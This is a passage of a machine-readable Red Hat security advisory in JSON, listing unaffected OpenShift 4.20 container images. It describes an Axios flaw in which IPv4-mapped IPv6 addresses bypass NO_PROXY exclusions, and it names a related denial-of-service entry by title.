"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:38eb1cac78fe34949a20dbc1cc949f4d2861d9db7ada1de0e5ed29279901f408_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:d3125750bd9da51e7a35ef16af331b8a2b3dc157b3fa471629fb616322e35fc9_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:1a8f96819a4c2b6c5d8d3d16e7f2d86cd98fec4d54aadc93d577114787713537_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:640edf3a82ee8b13796051e101e647b2378da417e14a1dff18ce501e4fd37bb3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:c7a464e13822761ca8082145086084a7ee99dac69eaf2499ae3a216840866dac_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:f01be0e96604d69f4c4e9e4363da99fab82220b72e34accaedd7c62f3e510f2d_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:050d6a3c89ac2be7115949ac33afe56a690b5d56775be5f1f004902ba056da20_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:3170599804e9cf0f6ee3edf955f2d9b34a462a3cf1fb667a2db53ccc9498724c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:74ed6313652eb904df6f81151b9c829c01f7304c6872071a100a65ada5679978_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:8f505384a22a337f1ac2c2b76051e4cee2a60b638cebe734816ff49bb1fb0b9f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7154ccb28376771fbbb8754ddd010672548c43fbec531e0cfdf3007a8efd882c_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7c254637daf1b7564394c9a6425b9dec8a711e27ccfc659d5a55471c218b14cd_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:ad266469369890878063a4e0793c144bf73be0c963be65f154f3e8988c666fe2_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:fe01dc34d6ef1faf09be0e5b4fd7c9c0db4baafc8fdd77ab61d25167c80e8a53_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:c731759826eeaffcc98dcc86e890adc3dcbc3497761bbebe04265892e782963d_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:dcaeb66077a2e78128d7ddc7b03ec9501f65c14f068948a9fbb82245927f2d04_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:06a4c88d17ea03dbcaf83bfbf36d42ae4e288218477c11ba8bdbb45eb5b3ca56_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:387d5a03bce1e6b80a36582c2959e6c0569cbce7f49b5c29297c4eae1fa89a4f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:3ddb9e724e529e60d4b0669d5630f661f416c4e762c60d25b70573b40ef131b3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:cbe78a9f8013acf7217363c5512cb61b16db26ade6a00b3ec9bad7b534ea6c97_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:0f70afc8fc44153005b719e423b9414a806f52a1f0a0eaf383214e7aeb0d1d43_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9e2ca3a4a43f24bb081c0d1a20350a9086e93dcbdc617b561fcc39369273b32e_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:a66f68ebb39a0474bc89255b465750e203dabacfdec098ec20c14b7adb7e26af_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:f811943f27e46556496a9833e20192a53b11d441660f8815b32f5afbc1eddd0e_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:1a7ac4b64621194572606055e495c964f0061619156b58db38e5e3ed0d63b359_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:7acd95b189ae4b09922c757de90a1855a91ec8d185144ef19027bd0ff1c9f522_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:8caabe7828c7c1df3b1edf2585a48055615ff16becb6149a8d558ce9ce717862_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:c37cf3696e1b4c67f30d7a42f324606c6814e61ddbe3e5520e0a7a0a0242ed6d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:0c87c80a5bccd9225c9d1faa85ea7d0deed337a138fadb0412af6590fd9f96b4_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6e40ba6ae462a707631a6f8496ae597f811f3eaef98bdfcc0d0dedb0dcdc1575_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6ecb5789c21c2bf45a3312bd7116f847a3b15646009fed0031a6cf160306e965_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:7a55683ac150ed1a4ec96017f62099116b81d07a0b0277a6eaab06cc2064116b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:3b6e1dbf5de0caacb2cd524ca40193db89ec825360c0dfd8e1f3af197f4539dd_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:6a598579673f0a81e14f17fc463ee4f6bb3cfa937f281bd089b479b5155980d6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:ad1759daee6b18fa3267b578c75fb178730319d1cd9527a21fb9836ddc4facac_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:babce324aa37ddf6db4514c1a697a4f2769775426fb59c635d2c8702e9952153_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:48b50cb476bad0b50177ddf4d801d8a953249f4c5a268d2822d16ed4845bf33f_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:590285997861e1233f792b5f371e9897086fd3b217a4840c5bfa971118472c94_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9c1401fe5364b8ba3a069ac69a16e60d09f54e1dc17f30bdd438933f60474b8f_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9f4ff8acdc663301d308156bb2c56d68379a95fa087bc71f41a699a8ed08eba9_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:20c651f23e57bce386239c12ad3e2a19aa3220ef5c89c2561cad7bd40476d4c0_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:3fa417f375c4d41175b700a1a44f7dbd60f58a9337b1202720696f84d347fda9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:44f8632e12b1a2e798c518cccff5aff1ebdfc1cdda8a4bb044ed01e322aa1f2c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:b081739ac1afa49e7a1eb8f73b76bd30241c056eb55ed06d2845002368571fb3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:2f154bdf369c1e9b9981b9478399f8bb870aad53bd5f33420a74bfdfd942ae8d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:5d44a3b19601304824c82cb302a575d2ffa8e7085d02abfaae925af1b2908eaf_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:8d50532844d79c853a38a59c62ad4e6ea253e5ca6d54a81791b38922053f9ddd_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:db6900b8ab7297ae4b098c821386069cba11b54e0211f726607a108b74969067_arm64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "axios: Axios: Denial of Service due to unenforced request and response size limits"
},
{
"cve": "CVE-2026-44492",
"cwe": {
"id": "CWE-289",
"name": "Authentication Bypass by Alternate Name"
},
"discovery_date": "2026-06-11T17:00:56.761751+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:3bbdf23c749d068f766d18fccd5e5ae23ff90a5565d8f5101b551113cfb6c123_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:979314a23724ebc8de0be49aa32b8f420179125c695ca48549f541e59337e1b2_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:98636cb3a8c474d6564ee277234bfa6f8bd4bc74a8a5327c4eb21b26c2c9d626_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:f7cbd75d0671200c3af39c481f36478676c328f47692c1f2c1b46429470eb9bf_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:3cb1ef218d08069307b9cb1013d1a3814567df8ec55f64ddd9b72f5790a03f3c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:450a1c77d36771a98dfa96bb128a066192871becc7ff3edd5da3f9839de5b87b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:647e915e236daa81b0001b61dcfdbea5cb999a844ec0d52f7d0dd4e224cbcbb9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:bf4b64740a63a1f6e541d92128c9237fdd813a52536ed1273983946e3c215f7f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:203ec72895a613490e467305fd2ad96e620d4ea8631b44117be4f7227cb3d162_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:86e58cc04993c9ebb62ff13f8c9e38fcb1dd1bbdd7f5474a8c6de3a73b628492_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:89275d5e3701e681b789e2c80377bdc124c617ccf1fea892fcd9342647ee4e13_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:8ec539591813dd64b6e220480649aceb0f20ac8dbaccf29f5852805fe2d653c6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:06e3ee0cbdc2f1b3ad5e51bacf75c05cf7f156f8ab0ab451ae0d7849095c35a4_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:8dc3a7e099280b53633b6dc3bddcade1de7720e6b26689b99b13f146675c4f5b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:e926f2b13e47bf18d2109a39fb2023f112df68ce206f797f60aabe688b203bde_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:ecd2f1b4154e0e1a82956378e620ff618383e341b7ad7571c4c1fbec55a2db5b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:29d98fcb36f650c7bc94edf306894f4add6d8470dd75ef1b9d2f86a96f7eeefb_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b3a9fee448a212907122556f9d2b6441122cd09f03fd85b953db0f06527cd841_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b9a359fca4093efb9deaf581963244e67abfc7afc3ec6df558cc1525adaed085_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:e6d546338774b75c347f1c00f01897d2c18bcc02aae73801c888a1c0bc7159a9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:fe589677a60e47f089add4a8662d7a5bb018d149bd40951450afcad9459d0868_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:0265e523cbb12746ce518597e1f2ae8dfed5a4f108410d74a284429511d7dd80_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:06833bd27e40dd3a770cac2b4bc943cbbcc005409df8bcb8da465c2f4cfe25e3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3e44064c6c2f51f5d59267cb3be081e525227b412f84cdf982239a7340c5a0b6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:89c39898050cee289a3d05bace758ad4551a9dcb4b55467dff1b70ef304e227a_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:7b5d98fb5c01c84f70fdd05e5ca4ea35f580eacf123fd70744dd207e90ac8ecc_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:dcb687dac46dfcb5190a00860a358b63304e344ee233605c69442ae784df50a7_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5571dc60fd35ac8fc45f1632859804ec7f6b261b131bd8a1f68ab4de49c79a08_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:638bf4691fd54f1854134c0a350a18956f2d4e33367775c35882bbffad8a085e_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e7665d0ff02bafdf87f7cf26d8f9364504b6019a582381408cf5f6bbb8a6b2c0_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:ebf9d8e110fdd0eb92437bb9948019dd5caaaa13dff3bbdacf99caf98a11f701_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:49bd024d3d99fb1ad7bab883c7e5f660183c3146ca927b6d7ddceeeddfcba157_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:b66789383841ab46f31f467fa319ec01d202f7f69739ff4d251b4af0a6c9e6e6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:c346d06d42db2adc95274fdad624981452835dde285b7f44bf72a8d362ce73bb_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:cb690ce1b790312c809730ce08830a3fd43ff06a3136c57256952cd7bbe13d55_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:624021ed9404e77d1417862044df4b04fa3fe3dc026b03ea54a2b87d4376d387_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:a1bd5af44e35c68359b7bc642c195a557a25e15f41124b5874fc1e51ee299bf3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:ee697ce277502f25541e9973db31e142af9c4419849a50d0a020c61afcc48c33_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:fdea6c63c595dc8b02cef15286aeb3ddc3bfe0193de45201d0cfb11a3bcd589f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:522a646576645bcbf84710a97c8f89c577d55a22f1d8d1c868135d1d8ecbe34c_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:81c0cf537924384b7ef75b604e5941fc51fe049641622c4b772852788da14097_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:89f57abd15554b50bd27019be5438490bd6207d18d457607603c511a054f1b7a_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:9c0de5f2f719b24731c4a5aaa2e1b40d661e67a72fe0d3caac4271f9e9d5ead5_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1b57935b2c9a488ef21e6d66ad07c2e25a1737b0e0641319fbe7710a24e01e4b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:365ac58c2af582f184d3f62beaa48d15f3981e4d8da0cbbb8c93ec6986243b51_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:38eb1cac78fe34949a20dbc1cc949f4d2861d9db7ada1de0e5ed29279901f408_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:d3125750bd9da51e7a35ef16af331b8a2b3dc157b3fa471629fb616322e35fc9_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:1a8f96819a4c2b6c5d8d3d16e7f2d86cd98fec4d54aadc93d577114787713537_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:640edf3a82ee8b13796051e101e647b2378da417e14a1dff18ce501e4fd37bb3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:c7a464e13822761ca8082145086084a7ee99dac69eaf2499ae3a216840866dac_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:f01be0e96604d69f4c4e9e4363da99fab82220b72e34accaedd7c62f3e510f2d_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:050d6a3c89ac2be7115949ac33afe56a690b5d56775be5f1f004902ba056da20_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:3170599804e9cf0f6ee3edf955f2d9b34a462a3cf1fb667a2db53ccc9498724c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:74ed6313652eb904df6f81151b9c829c01f7304c6872071a100a65ada5679978_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:8f505384a22a337f1ac2c2b76051e4cee2a60b638cebe734816ff49bb1fb0b9f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7154ccb28376771fbbb8754ddd010672548c43fbec531e0cfdf3007a8efd882c_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7c254637daf1b7564394c9a6425b9dec8a711e27ccfc659d5a55471c218b14cd_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:ad266469369890878063a4e0793c144bf73be0c963be65f154f3e8988c666fe2_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:fe01dc34d6ef1faf09be0e5b4fd7c9c0db4baafc8fdd77ab61d25167c80e8a53_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:c731759826eeaffcc98dcc86e890adc3dcbc3497761bbebe04265892e782963d_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:dcaeb66077a2e78128d7ddc7b03ec9501f65c14f068948a9fbb82245927f2d04_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:06a4c88d17ea03dbcaf83bfbf36d42ae4e288218477c11ba8bdbb45eb5b3ca56_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:387d5a03bce1e6b80a36582c2959e6c0569cbce7f49b5c29297c4eae1fa89a4f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:3ddb9e724e529e60d4b0669d5630f661f416c4e762c60d25b70573b40ef131b3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:cbe78a9f8013acf7217363c5512cb61b16db26ade6a00b3ec9bad7b534ea6c97_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:1a7ac4b64621194572606055e495c964f0061619156b58db38e5e3ed0d63b359_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:7acd95b189ae4b09922c757de90a1855a91ec8d185144ef19027bd0ff1c9f522_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:8caabe7828c7c1df3b1edf2585a48055615ff16becb6149a8d558ce9ce717862_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:c37cf3696e1b4c67f30d7a42f324606c6814e61ddbe3e5520e0a7a0a0242ed6d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:0c87c80a5bccd9225c9d1faa85ea7d0deed337a138fadb0412af6590fd9f96b4_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6e40ba6ae462a707631a6f8496ae597f811f3eaef98bdfcc0d0dedb0dcdc1575_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6ecb5789c21c2bf45a3312bd7116f847a3b15646009fed0031a6cf160306e965_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:7a55683ac150ed1a4ec96017f62099116b81d07a0b0277a6eaab06cc2064116b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:3b6e1dbf5de0caacb2cd524ca40193db89ec825360c0dfd8e1f3af197f4539dd_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:6a598579673f0a81e14f17fc463ee4f6bb3cfa937f281bd089b479b5155980d6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:ad1759daee6b18fa3267b578c75fb178730319d1cd9527a21fb9836ddc4facac_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:babce324aa37ddf6db4514c1a697a4f2769775426fb59c635d2c8702e9952153_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:48b50cb476bad0b50177ddf4d801d8a953249f4c5a268d2822d16ed4845bf33f_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:590285997861e1233f792b5f371e9897086fd3b217a4840c5bfa971118472c94_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9c1401fe5364b8ba3a069ac69a16e60d09f54e1dc17f30bdd438933f60474b8f_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9f4ff8acdc663301d308156bb2c56d68379a95fa087bc71f41a699a8ed08eba9_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:20c651f23e57bce386239c12ad3e2a19aa3220ef5c89c2561cad7bd40476d4c0_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:3fa417f375c4d41175b700a1a44f7dbd60f58a9337b1202720696f84d347fda9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:44f8632e12b1a2e798c518cccff5aff1ebdfc1cdda8a4bb044ed01e322aa1f2c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:b081739ac1afa49e7a1eb8f73b76bd30241c056eb55ed06d2845002368571fb3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:2f154bdf369c1e9b9981b9478399f8bb870aad53bd5f33420a74bfdfd942ae8d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:5d44a3b19601304824c82cb302a575d2ffa8e7085d02abfaae925af1b2908eaf_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:8d50532844d79c853a38a59c62ad4e6ea253e5ca6d54a81791b38922053f9ddd_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:db6900b8ab7297ae4b098c821386069cba11b54e0211f726607a108b74969067_arm64"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2487938"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Axios, a promise-based HTTP client. This vulnerability occurs because Axios does not properly normalize IPv4-mapped IPv6 addresses. When a NO_PROXY setting is configured to block direct access to specific IPv4 addresses, an attacker can bypass this restriction by using the IPv4-mapped IPv6 form of the address in a request URL. This allows the request to be routed through the proxy, potentially exposing internal services or sensitive information that should otherwise be inaccessible.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "axios: Axios: Proxy bypass via IPv4-mapped IPv6 address non-normalization",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This is an Important flaw in Axios, a JavaScript HTTP client library, that allows for a proxy bypass. When a `NO_PROXY` environment variable is configured to prevent direct connections to specific IPv4 addresses, an attacker can craft a request URL using the IPv4-mapped IPv6 address format. This bypasses the intended `NO_PROXY` exclusion, routing the request through the configured proxy and potentially exposing internal services or sensitive information, such as cloud instance metadata credentials.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
